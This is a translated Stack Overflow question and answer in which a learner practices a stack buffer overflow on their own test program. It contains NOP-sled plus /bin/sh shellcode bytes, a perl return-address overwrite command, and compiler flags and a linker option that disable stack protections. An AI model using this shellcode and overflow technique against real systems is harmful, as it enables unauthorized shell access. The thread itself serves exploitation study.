【问题标题】:How can you make the stack executable on osx?如何使堆栈在 osx 上可执行?
【发布时间】:2017-02-19 20:23:33
【问题描述】:

我目前正在学习“黑客;剥削的艺术”,并且正在练习在我编写的一些示例代码上编写 shell 代码注入。

我将 shell 代码作为环境变量注入。在 lldb 中,我可以看到我正在覆盖返回地址,并且 EIP 被设置为我的 NOP 雪橇的中间。但是,它会抛出“EXC_BAD_ACCESS”和段错误。

这是我的 shellcode 堆栈的一部分:

0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"

调用lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40') 来执行缓冲区溢出,当它发生段错误时我们会得到以下结果:

Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
    frame #0: 0xbffffc5e
->  0xbffffc5e: nop    
    0xbffffc5f: nop    
    0xbffffc60: nop    
    0xbffffc61: nop    

我正在使用 gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer 编译代码,我使用change_mach_o_flags.py script 和--no-pie 和--executable-heap 选项集。

我认为问题是 osx 自动将堆栈设置为不可执行。不幸的是,osx 中的 gcc 似乎没有-z execstack 选项。也没有可用的 execstack 实用程序。

我搜索了网络,但无论如何都找不到在我的编译代码中使堆栈可执行。有没有办法做到这一点,如果有,怎么做?

【问题讨论】:

  • 希望,在我有生之年。你有没有试过在铁路上放一张沙发看看会发生什么?这是出于恶意的好奇还是恶意?
  • @WeatherVane 哦哦。这有那么有害吗?我只是想制作一个人为的易受攻击的软件,我可以通过它获得 shell 代码注入的实践经验。对于试图了解安全性的人来说,尝试破解自己的代码难道不是一种非常标准的教育实践吗?
  • 有害吗?释放 WW3?更好的 IMO 专注于使代码防弹。那里有足够多的意外输入,无论如何您都必须防范。如果你想破坏你自己的代码:不要让它易受攻击,让它成为你将提供的真实世界的代码。 然后尝试用意外或恶意或意外的输入来破坏它。
  • @Breezy 我同意你的观点,从教育的角度来看,学习这些漏洞利用非常有价值。很难防范您不理解的东西,虽然大多数现代操作系统默认情况下确实使堆栈不可执行,但理解堆栈漏洞利用有助于作为理解更复杂漏洞利用的垫脚石。
  • 欢迎来到 Stack Overflow。请注意,在这里说“谢谢”的首选方式是投票赞成好的问题和有用的答案(一旦你有足够的声誉这样做),并接受对你提出的任何问题最有帮助的答案(这也给出了你的声誉小幅提升)。请查看About 页面以及How do I ask questions here? 和What do I do when someone answers my question?

标签: c macos security gcc shellcode


【解决方案1】:

来自 Apple 开发者文档:

有两种方法可以使栈和堆可执行:

将 -allow_stack_execute 标志传递给编译器。这使得 堆栈(不是堆)可执行文件。

使用 mprotect 系统调用来标记 特定的内存页作为可执行文件。细节超出范围 本文件的。有关详细信息,请参阅手册页 保护。

查看更多:https://developer.apple.com/library/content/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html

【讨论】:

  • 这非常有效。通过将 -Wl,-allow_stack_execute 添加到我的 gcc 别名中的标志,我能够使堆栈可执行。谢谢!
猜你喜欢
  • 2020-05-16
  • 2016-05-01
  • 2023-03-29
  • 2016-08-02
  • 2020-04-19
  • 1970-01-01
  • 1970-01-01
  • 2010-11-12
  • 1970-01-01
相关资源
最近更新 更多